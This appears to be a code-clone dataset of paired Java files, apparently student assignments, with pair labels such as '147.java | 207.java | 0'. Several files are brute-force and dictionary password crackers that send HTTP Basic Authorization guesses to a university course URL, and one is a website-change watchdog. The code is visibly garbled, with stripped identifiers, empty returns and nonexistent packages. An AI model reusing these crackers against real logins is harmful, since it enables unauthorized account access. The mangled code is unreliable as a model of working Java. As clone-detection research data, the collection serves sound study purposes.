String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
147.java | 207.java | 0 | import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String[] args) {
new CrackAttempt();
}
}
class CrackAttempt {
public CrackAttempt() {
final int MAX_LENGTH = 3;
boolean auth = false;
Date = new Date();
String file = "/usr/share/lib/dict/words";
String word;
char[] password = new char[MAX_LENGTH];
String resource = "http://sec-crack.cs.rmit.edu./SEC/2/";
while (!auth) {
BufferedReader in = null;
try {
in = new BufferedReader(new FileReader(file));
while ((word = in.readLine()) != null && !auth) {
try {
if (word.length() <= MAX_LENGTH) {
password = word.toCharArray();
Authenticator.setDefault(new CrackAuth(password));
URL url = new URL(resource);
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
conn.setRequestMethod("HEAD");
if (conn.getResponseCode() == HttpURLConnection.HTTP_OK) {
System.out.println("cracked with " + new String(password));
auth = true;
}
}
} catch (Exception e) {
System.out.println(" was exception: " + e.getMessage());
}
}
} catch (FileNotFoundException fnfe) {
System.out.println("File Not Found");
} catch (IOException ioe) {
System.out.println("IOException");
} catch(Exception e) {
e.printStackTrace();
} finally {
try {
in.close();
} catch (Exception e) {;}
}
}
if (!auth) {
System.out.println("Unable determine password");
} else {
time = (new Date()).getTime() - start.getTime();
System.out.println("it took " + String.valueOf(time) + " milliseconds crack the password");
}
}
}
class CrackAuth extends Authenticator {
char[] password;
public CrackAuth(char[] password) {
this.password = password;
}
protected PasswordAuthentication getPasswordAuthentication()
{
String user = "";
return new PasswordAuthentication(user, password);
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
091.java | 207.java | 0 | import java.io.*;
import java.net.*;
import java.misc.*;
public class BruteForce
{
private static char increment(char pw)
{
if(pw=='Z')
{
return 'a';
}
else if(pw=='z')
{
return 'A';
}
else
{
return (char) (pw+1);
}
}
public static void main (String args[]) throws IOException
{
final int maxLength = 3;
final String username = "";
final URL pageURL = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
String password="";
char passwd[];
BASE64Encoder encoder = new BASE64Encoder();
boolean notFound = true;
HttpURLConnection conn;
for(int pwl=1;pwl<=maxLength&¬Found;pwl++)
{
passwd = new char[pwl];
for(int init=0;init<pwl;init++)
{
passwd[init]='A';
}
for(int i=0;i<Math.pow(52,pwl);i++)
{
password=new String(passwd);
conn = (HttpURLConnection) pageURL.openConnection();
conn.setRequestProperty("Authorization", " "+encoder.encode((username+":"+password).getBytes()));
if((conn.getResponseCode())==HttpURLConnection.HTTP_OK)
{
notFound=false;
break;
}
for(int j=pwl-1;j>=0;j--)
{
if((passwd[j]=increment(passwd[j]))!='A')
{
break;
}
}
}
}
if(notFound)
{
System.out.println(" valid password found.");
}
else
{
System.out.println("Found valid password: \""+password+"\"");
}
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
180.java | 207.java | 0 | import java.io.*;
import java.net.*;
import java.util.*;
public class Dictionary
{
public static void main (String args[])
{
Calendar cal = Calendar.getInstance();
Date now=cal.getTime();
double startTime = now.getTime();
String password=getPassword(startTime);
System.out.println("The password is " + password);
}
public static String getPassword(double startTime)
{
String password="";
int requests=0;
try
{
FileReader fRead = new FileReader("/usr/share/lib/dict/words");
BufferedReader buf = new BufferedReader(fRead);
password=buf.readLine();
while (password != null)
{
if (password.length()<=3)
{
requests++;
if (testPassword(password, startTime, requests))
return password;
}
password = buf.readLine();
}
}
catch (IOException ioe)
{
}
return password;
}
private static boolean testPassword(String password, double startTime, int requests)
{
try
{
URL url=new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
HttpURLConnection connection;
String userPassword = ":" + password;
String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());
try
{
connection = (HttpURLConnection) url.openConnection();
connection.setRequestProperty("Authorization", " " + encoding);
int status=connection.getResponseCode();
System.out.println(password + requests);
if (status==200)
{
System.out.println("It took " + getTime(startTime) + " milliseconds find the password.");
System.out.println(" were " + requests + " requests .");
return true;
}
return false;
}
catch (IOException ioe)
{
System.out.print(ioe);
return false;
}
}
catch (IOException MalformedURLException)
{
System.out.print("Invalid URL");
return false;
}
}
private static double getTime(double startTime)
{
Calendar cal = Calendar.getInstance();
Date now=cal.getTime();
double endTime = now.getTime();
return endTime-startTime;
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
053.java | 207.java | 0 |
import java.net.*;
import java.io.*;
import java.misc.*;
public class Dictionary
{
public static void main (String args[])
{
String file = "/usr/share/lib/dict/words";
FileReader fRead;
BufferedReader buf;
try
{
fRead = new FileReader(file);
buf = new BufferedReader(fRead);
String Password = "";
int i=0;
while( (Password = buf.readLine()) != null)
{
i++;
String a = myurl("http://sec-crack.cs.rmit.edu./SEC/2", "", Password, i);
}
}
catch(FileNotFoundException e)
{
System.out.println("File not found");
}
catch(IOException ioe)
{
System.out.println("IO Error " + ioe);
}
}
public static String encode (String source)
{
BASE64Encoder enc = new source.misc.BASE64Encoder();
return(enc.encode(source.getBytes()));
}
public static String myurl (String url, String Name, String Password, int val )
{
String thisLine;
String retVal;
URL u;
URLConnection uc;
retVal = "";
try
{
u = new URL(url);
try
{
uc = u.openConnection();
if (Name != null)
{
uc.setRequestProperty("Authorization", " " + encode(Name + ":" + Password));
}
InputStream content = (InputStream)uc.getInputStream();
BufferedReader in = new BufferedReader (new InputStreamReader(content));
String line;
while ((line = in.readLine()) != null)
{
retVal += line;
System.out.println(line);
System.out.println("password="+Password+";number:"+num);
System.exit(0);
}
}
catch (Exception e)
{
;
}
}
catch (MalformedURLException e)
{
return(url + " is not a parseable URL");
}
return retVal;
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
005.java | 207.java | 0 |
import java.io.*;
import java.util.*;
import java.*;
import java.net.*;
public class WatchDog
{
static Process p = null;
static Process qproc = null;
static BufferedReader bf = null;
static StringTokenizer tok = null;
static String Path = null;
static String str = null;
static String urlStr=null;
static boolean changed = false;
static File indexfile = new File("index.html");
static File tmpfile = new File("tmpindex.html");
static File mdfile = new File("md5file.txt");
static File tmpmdfile = new File("tmpmd5file.txt");
static PrintWriter mailwriter = null;
public static void main(String[] args)
{
urlStr = "http://www.cs.rmit.edu./";
try
{
mailwriter = new PrintWriter(new BufferedWriter(new FileWriter("tomail.txt", false)));
getLatest(urlStr);
parseFile();
mailwriter.read();
if(changed)
{
System.out.println("Sending Mail");
p = Runtime.getRuntime().exec("./mailscript");
p.waitFor();
}
else
System.out.println(" mail sent");
} catch (IOException ioe)
{
System.out.println("IOException");
ioe.printStackTrace();
}
catch (InterruptedException intex)
{
System.out.println("Interrupted Exception");
intex.printStackTrace();
}
}
static void getLatest(String urlStr)
{
URL url = null;
try
{
url = new URL(urlStr);
} catch (MalformedURLException mfurl)
{
System.out.println("Malformed URL");
mfurl.printStackTrace();
}
try
{
mailwriter.println();
p = Runtime.getRuntime().exec("/usr//pwd");
p.waitFor();
bf= new BufferedReader(new InputStreamReader(
p.getInputStream()));
Path=bf.readLine();
if (indexfile.exists())
{
mailwriter.println("File with name 'index.html' found in directory.");
mailwriter.println("Renaming existing 'index.html' 'tmpindex.html...");
p = Runtime.getRuntime().exec("/usr//mv "+indexfile+ " " + Path+"/"+tmpfile);
p.waitFor();
p = Runtime.getRuntime().exec("/usr//mv "+mdfile+ " " + Path+"/"+tmpmdfile);
mailwriter.println();
mailwriter.println("File with name 'md5file.txt' found in directory.");
mailwriter.print("Renaming existing 'md5file.txt' 'tmpmd5file.txt...");
mailwriter.println(".");
mailwriter.println();
}
mailwriter.println("Downloading current version of site - " + urlStr);
p = Runtime.getRuntime().exec("/usr/local//wget "+url);
p.waitFor();
if (!tmpfile.exists())
{
mailwriter.println("File - " + urlStr + "index.html saved disk for the first time.");
}
} catch (IOException ioe)
{
System.out.println("IOException");
ioe.printStackTrace();
}
catch (IndexOutOfBoundsException iobe)
{
System.out.println("Index Out Of Bounds Exception");
iobe.printStackTrace();
}
catch (Exception e)
{
System.out.println("Exception");
e.printStackTrace();
}
}
static void parseFile()
{
Vector imgVect = new Vector();
try
{
p = Runtime.getRuntime().exec("/usr//grep img " + Path + "/"+ indexfile);
p.waitFor();
bf= new BufferedReader(new InputStreamReader(
p.getInputStream()));
while((str=bf.readLine())!=null)
{
bf = new StringTokenizer(str, "\"", false);
while(bf.hasMoreTokens())
{
str=bf.nextToken();
if ((str.indexOf("gif") > 0) || (str.indexOf("jpg") > 0))
imgVect.addElement(str);
}
}
}catch (IOException ioe)
{
System.out.println("IOException");
ioe.printStackTrace();
}
catch (Exception e)
{
System.out.println("Exception");
e.printStackTrace();
}
mailwriter.println("Creating file with md5sums of the webpage and images...");
md5Create(imgVect);
}
static void md5Create(Vector imgVect)
{
String tmpString = null;
Vector imgNames = new Vector();
try
{
PrintWriter pr = new PrintWriter(new BufferedWriter(new FileWriter(mdfile, false)));
p=Runtime.getRuntime().exec("/usr/local//md5sum "+indexfile);
p.waitFor();
bf= new BufferedReader(new InputStreamReader(
p.getInputStream()));
pr.println(bf.readLine());
for(int i=0; i<imgVect.size();i++)
{
imgNames.insertElementAt((getImgNames((String)imgVect.elementAt(i))), i);
imgVect.setElementAt((getFullPath((String)imgVect.elementAt(i))), i);
p=Runtime.getRuntime().exec("/usr/local//md5sum "+(String)imgNames.elementAt(i));
p.waitFor();
bf= new BufferedReader(new InputStreamReader(
p.getInputStream()));
pr.println(bf.readLine());
rmImgFile(Path+"/"+(String)imgNames.elementAt(i));
}
pr.get();
} catch (IOException ioe)
{
System.out.println("IOException");
ioe.printStackTrace();
}
catch (InterruptedException intex)
{
System.out.println("Interrupted Exception");
intex.printStackTrace();
}
if (tmpmdfile.exists())
compVersions((imgVect.size())+1);
}
static void compVersions(int numlines)
{
int tmp = 0;
int x = 0;
String[] md5A = new String[numlines];
Vector tmpmd5V = new Vector();
String[] tmpmd5A = null;
StringTokenizer stoken = null;
String mdImgName = null;
String mdImgVal = null;
String tmpImgName = null;
String tmpImgVal = null;
try
{
bf = new BufferedReader(new FileReader(mdfile));
while((str = bf.readLine()) != null)
{
md5A[tmp]=str;
tmp++;
}
bf= new BufferedReader(new FileReader(tmpmdfile));
tmp=0;
while ((str = bf.readLine()) !=null)
{
tmpmd5V.addElement(str);
tmp++;
}
tmpmd5A = (String[])tmpmd5V.toArray(new String[tmpmd5V.size()]);
if (tmpmd5A[0].compareTo(md5A[0]) != 0)
{
mailwriter.println("---The file index.html has changed.---");
mailwriter.println("-Diff of old and new -");
changed=true;
mailwriter.println();
p=Runtime.getRuntime().exec("/usr/local//diff index.html tmpindex.html");
p.waitFor();
bf = new BufferedReader(new InputStreamReader(p.getInputStream()));
while ((str = bf.readLine()) != null)
mailwriter.println(str);
}
else
{
mailwriter.println("The file index.html hasn't changed.");
mailwriter.println();
}
mailwriter.println();
mailwriter.println("Changes Images");
mailwriter.println("-----------------");
for (tmp=1; tmp<md5A.length; tmp++)
{
stoken = new StringTokenizer(md5A[tmp]);
mdImgVal = stoken.nextToken();
mdImgName = stoken.nextToken();
for (x=1; x<tmpmd5A.length; x++)
{
stoken = new StringTokenizer(tmpmd5A[x]);
tmpImgVal = stoken.nextToken();
tmpImgName = stoken.nextToken();
if (mdImgName.compareTo(tmpImgName) == 0)
{
if(mdImgVal.compareTo(tmpImgVal) == 0)
{
break;
}
else
{
mailwriter.println("The image "+mdImgName+" has changed.");
changed=true;
break;
}
}
if (x == ((tmpmd5A.length)-1))
{
mailwriter.println("The image "+mdImgName+" is new this ");
changed=true;
}
}
}
for (tmp=1; tmp<tmpmd5A.length; tmp++)
{
stoken = new StringTokenizer(tmpmd5A[tmp]);
tmpImgVal = stoken.nextToken();
tmpImgName = stoken.nextToken();
for (x=1; x<md5A.length; x++)
{
stoken = new StringTokenizer(md5A[x]);
mdImgVal = stoken.nextToken();
mdImgName = stoken.nextToken();
if (tmpImgName.compareTo(mdImgName) == 0)
{
break;
}
if (x == ((md5A.length)-1))
{
mailwriter.println("The image "+tmpImgName+" is longer the ");
changed=true;
}
}
}
} catch(IOException ioe)
{System.out.println("IOException");
ioe.printStackTrace();
}
catch(InterruptedException iex)
{System.out.println("Interrupted Exception");
iex.printStackTrace();
}
}
static Object getFullPath(String fname)
{
if(fname.charAt(0)== '/')
fname=urlStr+fname;
else if(fname.charAt(0) != 'h')
fname=urlStr+'/'+fname;
getImgFile(fname);
return (Object)fname;
}
static void getImgFile(String fullPath)
{
try
{
qproc=Runtime.getRuntime().exec("/usr/local//wget "+fullPath);
qproc.waitFor();
} catch (IOException ioe)
{
System.out.println("IOException");
ioe.printStackTrace();
}
catch (InterruptedException intex)
{
System.out.println("Interrupted Exception");
intex.printStackTrace();
}
}
static void rmImgFile(String delpath)
{
try
{
qproc=Runtime.getRuntime().exec("/usr//rm "+ delpath);
qproc.waitFor();
} catch (IOException ioe)
{
System.out.println("IOException");
ioe.printStackTrace();
}
catch (InterruptedException intex)
{
System.out.println("Interrupted Exception");
intex.printStackTrace();
}
}
static Object getImgNames(String prsName)
{
String str = new StringTokenizer(prsName, "/", false);
while(bgf.hasMoreTokens())
{
str=bgf.nextToken();
if ((str.indexOf("gif") > 0) || (str.indexOf("jpg") > 0))
prsName=str;
}
return (Object)prsName;
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
255.java | 207.java | 0 |
import java.io.*;
import java.net.*;
import java.*;
import java.util.*;
public class WatchDog
{
public static void main(String[] args)
{
new WatchDogThread("1");
}
} |
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
